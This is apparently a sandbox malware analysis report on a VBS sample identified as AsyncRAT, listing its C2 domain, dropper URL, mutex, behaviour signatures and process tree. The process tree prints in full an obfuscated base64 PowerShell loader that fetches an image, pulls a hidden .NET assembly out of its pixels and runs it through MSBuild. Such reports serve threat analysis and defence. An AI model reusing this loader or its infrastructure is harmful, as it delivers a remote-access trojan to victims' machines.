Analysis

  • max time kernel
    100s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250610-en
  • resource tags

    arch:x64arch:x86image:win11-20250610-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    19/06/2025, 06:55

General

  • Target
    WMIEventLog.vbs
  • Size 2.4MB
  • Sample250619-hp599ssjv2
  • SHA256 b13e974aa3bb30239ff57db566dac32c1c19a2323eecbb785890224549444254
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://archive.org/download/wp4096799-lost-in-space-wallpapers_20250617_0159/wp4096799-lost-in-space-wallpapers.jpg

  • exe.dropper

    https://archive.org/download/wp4096799-lost-in-space-wallpapers_20250617_0159/wp4096799-lost-in-space-wallpapers.jpg

Extracted

Family
  • asyncrat

Version
  • 1.0.7

Botnet
  • News Tar Reg

C2
  • wmieventlogonlinehelp.duckdns.org:1000

Mutex
  • DcRatMutex_qwfwetcfdsty

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\WMIEventLog.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2616
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -noprofile -ep bypass -c "$passivizes='JGthdGNpbmEgPSAnVmtGSic7JHN1YnN1bGN1cyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGthdGNpbmEpOyRjYXJwb2xpdGh1cyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRzdWJzdWxjdXMpOyRjcmVhdGljID0gJ1pHNXNhV0l1U1U4dVNHOXRaUT09JzskdGhhbGFzc2lvcGh5dGEgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tYmFzZTY0U3RyaW5nKCRjcmVhdGljKTskZ2lwc2VuID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJHRoYWxhc3Npb3BoeXRhKTtBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5EcmF3aW5nOyRwZXJlc2tpYT0naHR0cHM6Ly9hcmNoaXZlLm9yZy9kb3dubG9hZC93cDQwOTY3OTktbG9zdC1pbi1zcGFjZS13YWxscGFwZXJzXzIwMjUwNjE3XzAxNTkvd3A0MDk2Nzk5LWxvc3QtaW4tc3BhY2Utd2FsbHBhcGVycy5qcGcnOyRrZXRlcmluPU5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JGtldGVyaW4uSGVhZGVycy5BZGQoJ1VzZXItQWdlbnQnLCdNb3ppbGxhLzUuMCcpOyRsZXB0b2RvcmE9JGtldGVyaW4uRG93bmxvYWREYXRhKCRwZXJlc2tpYSk7JG9mZmljZXNlZWtlcnM9W2J5dGVbXV0oMHg0MiwgMHg0RCwgMHg3RSwgMHg2OCwgMHg0MCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgzNiwgMHgwMCwgMHgwMCwgMHgwMCwgMHgyOCwgMHgwMCk7JG15Y29waGVub2xhdGU9LTE7Zm9yKCRUb3JyYW5jZT0wOyRUb3JyYW5jZSAtbGUgJGxlcHRvZG9yYS5MZW5ndGgtJG9mZmljZXNlZWtlcnMuTGVuZ3RoOyRUb3JyYW5jZSsrKXsgJHBzeWNob2dyYXBoPSR0cnVlO2ZvcigkZW1iYXJxdWVtZW50PTA7JGVtYmFycXVlbWVudCAtbHQgJG9mZmljZXNlZWtlcnMuTGVuZ3RoOyRlbWJhcnF1ZW1lbnQrKyl7aWYoJGxlcHRvZG9yYVskVG9ycmFuY2UrJGVtYmFycXVlbWVudF0gLW5lICRvZmZpY2VzZWVrZXJzWyRlbWJhcnF1ZW1lbnRdKXskcHN5Y2hvZ3JhcGg9JFZlcmFjcnV6O2JyZWFrfX1pZigkcHN5Y2hvZ3JhcGgpeyRteWNvcGhlbm9sYXRlPSRUb3JyYW5jZTticmVha319aWYoJG15Y29waGVub2xhdGUgLWVxIC0xKXtyZXR1cm59OyRwb2x5Y2VyYT0kbGVwdG9kb3JhWyRteWNvcGhlbm9sYXRlLi4oJGxlcHRvZG9yYS5MZW5ndGgtMSldOyRncm91bmRjaGVycmllcz1OZXctT2JqZWN0IElPLk1lbW9yeVN0cmVhbTskZ3JvdW5kY2hlcnJpZXMuV3JpdGUoJHBvbHljZXJhLDAsJHBvbHljZXJhLkxlbmd0aCk7JGdyb3VuZGNoZXJyaWVzLlNlZWsoMCwnQmVnaW4nKXxPdXQtTnVsbDskZGlsbGVuaWlkYWU9W0RyYXdpbmcuQml0bWFwXTo6RnJvbVN0cmVhbSgkZ3JvdW5kY2hlcnJpZXMpOyRCcml0Y29tcz1OZXctT2JqZWN0IENvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdFtCeXRlXTtmb3IoJG11c2NhcmluPTA7JG11c2NhcmluIC1sdCAkZGlsbGVuaWlkYWUuSGVpZ2h0OyRtdXNjYXJpbisrKXtmb3IoJENoaWJlbWJhPTA7JENoaWJlbWJhIC1sdCAkZGlsbGVuaWlkYWUuV2lkdGg7JENoaWJlbWJhKyspeyRoYWlyeWJhaXQ9JGRpbGxlbmlpZGFlLkdldFBpeGVsKCRDaGliZW1iYSwkbXVzY2FyaW4pOyRCcml0Y29tcy5BZGQoJGhhaXJ5YmFpdC5SKTskQnJpdGNvbXMuQWRkKCRoYWlyeWJhaXQuRyk7JEJyaXRjb21zLkFkZCgkaGFpcnliYWl0LkIpfX07JHFlcGlxcz1bQml0Q29udmVydGVyXTo6VG9JbnQzMigkQnJpdGNvbXMuR2V0UmFuZ2UoMCw0KS5Ub0FycmF5KCksMCk7JHNlYW1vdW50PSRCcml0Y29tcy5HZXRSYW5nZSg0LCRxZXBpcXMpLlRvQXJyYXkoKTskT3phcmtzPVtDb252ZXJ0XTo6VG9CYXNlNjRTdHJpbmcoJHNlYW1vdW50KS5SZXBsYWNlKCdBJywnQCcpLlJlcGxhY2UoJ0AnLCdBJyk7JGZyaWdodGxlc3M9JzBoSGR1RXpZUWRXWlNOR1J2TVhZelZHY3kxV1p2OTJZdkVuZDZOM2N6ZFdkM0ZIYW9Oelk8Pk4zZHVKRGQyeG1NeklIZTFwMkwzRm1jdjhXYXVVbWNoaDJjcUozYjBObkxyNVdhczl5TDZNSGMwUkhhJy5SZXBsYWNlKCc8PicsJ3QnKTskZW1icm9pZD1bQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJE96YXJrcyk7JEF0a2lucz1bUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJGVtYnJvaWQpOyR1bmFjdGl2ZW5lc3M9QCgkZnJpZ2h0bGVzcywnJywnJywnJywnTVNCdWlsZCcsJycsJycsJycsJycsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHMnLCdyZXRydXNlJywndmJzJywnJywnJywnbm9uaW50ZWxsaWdlbnQnLCcyJywnJyk7JEF0a2lucy5HZXRUeXBlKCRnaXBzZW4pLkdldE1ldGhvZCgkY2FycG9saXRodXMpLkludm9rZSgkdHJpYWxhdGUsJHVuYWN0aXZlbmVzcyk7JGRpbGxlbmlpZGFlLkRpc3Bvc2UoKTskZ3JvdW5kY2hlcnJpZXMuRGlzcG9zZSgp';$impassably=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($passivizes));Invoke-Expression $impassably"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2904
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:4468

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        __PSScriptPolicyTest_pe01gi1h.xak.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pe01gi1h.xak.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        memory/2904-15-0x00007FFF5F130000-0x00007FFF5FBF2000-memory.dmp

        memory/2904-17-0x0000026432D00000-0x000002643310C000-memory.dmp

        memory/2904-10-0x00007FFF5F130000-0x00007FFF5FBF2000-memory.dmp

        memory/2904-11-0x00007FFF5F130000-0x00007FFF5FBF2000-memory.dmp

        memory/2904-12-0x00007FFF5F130000-0x00007FFF5FBF2000-memory.dmp

        memory/2904-13-0x00007FFF5F133000-0x00007FFF5F135000-memory.dmp

        memory/2904-1-0x0000026412070000-0x0000026412092000-memory.dmp

        memory/2904-14-0x00007FFF5F130000-0x00007FFF5FBF2000-memory.dmp

        memory/2904-16-0x00007FFF5F130000-0x00007FFF5FBF2000-memory.dmp

        memory/2904-0-0x00007FFF5F133000-0x00007FFF5F135000-memory.dmp

        memory/2904-21-0x00007FFF5F130000-0x00007FFF5FBF2000-memory.dmp

        memory/2904-22-0x00007FFF5F130000-0x00007FFF5FBF2000-memory.dmp

        memory/4468-18-0x0000000000400000-0x0000000000412000-memory.dmp

        memory/4468-25-0x0000000005460000-0x00000000054FC000-memory.dmp

        memory/4468-26-0x0000000005E10000-0x00000000063B6000-memory.dmp

        memory/4468-27-0x00000000058D0000-0x0000000005936000-memory.dmp